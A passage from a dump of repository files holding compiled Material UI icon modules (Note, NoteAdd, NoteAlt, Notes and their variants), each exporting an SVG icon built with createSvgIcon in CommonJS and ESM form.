    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m-1 12H9V8h2zm1 0V8l5 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 6H9v8h2zm6 4-5-4v8z\"\n}, \"1\")], 'NotStartedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotStartedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m-1 12H9V8h2zm1 0V8l5 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 6H9v8h2zm6 4-5-4v8z\"\n}, \"1\")], 'NotStartedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Note.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 10-6-6H4c-1.1 0-2 .9-2 2v12.01c0 1.1.9 1.99 2 1.99l16-.01c1.1 0 2-.89 2-1.99zm-7-4.5 5.5 5.5H15z\"\n}), 'Note');"
  },
  {
    "path": "packages/mui-icons-material/lib/Note.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 10-6-6H4c-1.1 0-2 .9-2 2v12.01c0 1.1.9 1.99 2 1.99l16-.01c1.1 0 2-.89 2-1.99zm-7-4.5 5.5 5.5H15z\"\n}), 'Note');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAdd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm2 14h-3v3h-2v-3H8v-2h3v-3h2v3h3zm-3-7V3.5L18.5 9z\"\n}), 'NoteAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAdd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm2 14h-3v3h-2v-3H8v-2h3v-3h2v3h3zm-3-7V3.5L18.5 9z\"\n}), 'NoteAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAddOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 11h-2v3H8v2h3v3h2v-3h3v-2h-3zm1-9H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}), 'NoteAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAddOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 11h-2v3H8v2h3v3h2v-3h3v-2h-3zm1-9H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}), 'NoteAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAddRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 2.59c-.38-.38-.89-.59-1.42-.59H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.41zM15 16h-2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H9c-.55 0-1-.45-1-1s.45-1 1-1h2v-2c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1m-2-8V3.5L18.5 9H14c-.55 0-1-.45-1-1\"\n}), 'NoteAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAddRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 2.59c-.38-.38-.89-.59-1.42-.59H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.41zM15 16h-2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H9c-.55 0-1-.45-1-1s.45-1 1-1h2v-2c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1m-2-8V3.5L18.5 9H14c-.55 0-1-.45-1-1\"\n}), 'NoteAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAddSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4v20h16V8zm2 14h-3v3h-2v-3H8v-2h3v-3h2v3h3zm-3-7V3.5L18.5 9z\"\n}), 'NoteAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAddSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4v20h16V8zm2 14h-3v3h-2v-3H8v-2h3v-3h2v3h3zm-3-7V3.5L18.5 9z\"\n}), 'NoteAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAddTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 4H6v16h12V9h-5zm3 10v2h-3v3h-2v-3H8v-2h3v-3h2v3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 11h-2v3H8v2h3v3h2v-3h3v-2h-3zm1-9H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}, \"1\")], 'NoteAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAddTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 4H6v16h12V9h-5zm3 10v2h-3v3h-2v-3H8v-2h3v-3h2v3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 11h-2v3H8v2h3v3h2v-3h3v-2h-3zm1-9H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}, \"1\")], 'NoteAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M9.1 17H7v-2.14l5.96-5.96 2.12 2.12zm7.75-7.73-1.06 1.06-2.12-2.12 1.06-1.06c.2-.2.51-.2.71 0l1.41 1.41c.2.2.2.51 0 .71\"\n}), 'NoteAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M9.1 17H7v-2.14l5.96-5.96 2.12 2.12zm7.75-7.73-1.06 1.06-2.12-2.12 1.06-1.06c.2-.2.51-.2.71 0l1.41 1.41c.2.2.2.51 0 .71\"\n}), 'NoteAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.08 11.03-2.12-2.12L7 14.86V17h2.1zm1.77-1.76c.2-.2.2-.51 0-.71l-1.41-1.41c-.2-.2-.51-.2-.71 0l-1.06 1.06 2.12 2.12z\"\n}, \"1\")], 'NoteAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.08 11.03-2.12-2.12L7 14.86V17h2.1zm1.77-1.76c.2-.2.2-.51 0-.71l-1.41-1.41c-.2-.2-.51-.2-.71 0l-1.06 1.06 2.12 2.12z\"\n}, \"1\")], 'NoteAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M8.9 17H7.5c-.28 0-.5-.22-.5-.5v-1.43c0-.13.05-.26.15-.35l5.81-5.81 2.12 2.12-5.83 5.83c-.09.09-.22.14-.35.14m7.95-7.73-1.06 1.06-2.12-2.12 1.06-1.06c.2-.2.51-.2.71 0l1.41 1.41c.2.2.2.51 0 .71\"\n}), 'NoteAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M8.9 17H7.5c-.28 0-.5-.22-.5-.5v-1.43c0-.13.05-.26.15-.35l5.81-5.81 2.12 2.12-5.83 5.83c-.09.09-.22.14-.35.14m7.95-7.73-1.06 1.06-2.12-2.12 1.06-1.06c.2-.2.51-.2.71 0l1.41 1.41c.2.2.2.51 0 .71\"\n}), 'NoteAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zm-9-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M9.1 17H7v-2.14l5.96-5.96 2.12 2.12zm8.1-8.09-1.41 1.41-2.13-2.12 1.41-1.41z\"\n}), 'NoteAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zm-9-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M9.1 17H7v-2.14l5.96-5.96 2.12 2.12zm8.1-8.09-1.41 1.41-2.13-2.12 1.41-1.41z\"\n}), 'NoteAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm9.73-11.85c.2-.2.51-.2.71 0l1.41 1.41c.2.2.2.51 0 .71l-1.06 1.06-2.12-2.12zM7 14.86l5.96-5.96 2.12 2.12L9.1 17H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.08 11.03-2.12-2.12L7 14.86V17h2.1zm1.77-1.76c.2-.2.2-.51 0-.71l-1.41-1.41c-.2-.2-.51-.2-.71 0l-1.06 1.06 2.12 2.12z\"\n}, \"2\")], 'NoteAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm9.73-11.85c.2-.2.51-.2.71 0l1.41 1.41c.2.2.2.51 0 .71l-1.06 1.06-2.12-2.12zM7 14.86l5.96-5.96 2.12 2.12L9.1 17H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.08 11.03-2.12-2.12L7 14.86V17h2.1zm1.77-1.76c.2-.2.2-.51 0-.71l-1.41-1.41c-.2-.2-.51-.2-.71 0l-1.06 1.06 2.12 2.12z\"\n}, \"2\")], 'NoteAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4H4c-1.1 0-2 .9-2 2v12.01c0 1.1.9 1.99 2 1.99h16c1.1 0 2-.9 2-2v-8zM4 18.01V6h11v5h5v7.01z\"\n}), 'NoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4H4c-1.1 0-2 .9-2 2v12.01c0 1.1.9 1.99 2 1.99h16c1.1 0 2-.9 2-2v-8zM4 18.01V6h11v5h5v7.01z\"\n}), 'NoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 9.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H4c-1.1 0-2 .9-2 2v12.01c0 1.1.89 1.99 1.99 1.99H20c1.1 0 2-.9 2-2v-7.17c0-.53-.21-1.04-.59-1.42M15 5.5l5.5 5.5H16c-.55 0-1-.45-1-1z\"\n}), 'NoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 9.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H4c-1.1 0-2 .9-2 2v12.01c0 1.1.89 1.99 1.99 1.99H20c1.1 0 2-.9 2-2v-7.17c0-.53-.21-1.04-.59-1.42M15 5.5l5.5 5.5H16c-.55 0-1-.45-1-1z\"\n}), 'NoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 10-6-6H2v16h20zm-7-4.5 5.5 5.5H15z\"\n}), 'NoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 10-6-6H2v16h20zm-7-4.5 5.5 5.5H15z\"\n}), 'NoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 6H4v12.01h16V11h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4c-1.1 0-2 .9-2 2v12.01c0 1.1.9 1.99 2 1.99h16c1.1 0 2-.9 2-2v-8l-6-6zm16 14.01H4V6h11v5h5z\"\n}, \"1\")], 'NoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 6H4v12.01h16V11h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4c-1.1 0-2 .9-2 2v12.01c0 1.1.9 1.99 2 1.99h16c1.1 0 2-.9 2-2v-8l-6-6zm16 14.01H4V6h11v5h5z\"\n}, \"1\")], 'NoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Notes.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18h12v-2H3zM3 6v2h18V6zm0 7h18v-2H3z\"\n}), 'Notes');"
  },
  {
    "path": "packages/mui-icons-material/lib/Notes.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18h12v-2H3zM3 6v2h18V6zm0 7h18v-2H3z\"\n}), 'Notes');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11.01 3 11v2h18zM3 16h12v2H3zM21 6H3v2.01L21 8z\"\n}), 'NotesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11.01 3 11v2h18zM3 16h12v2H3zM21 6H3v2.01L21 8z\"\n}), 'NotesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotesRounded.js",
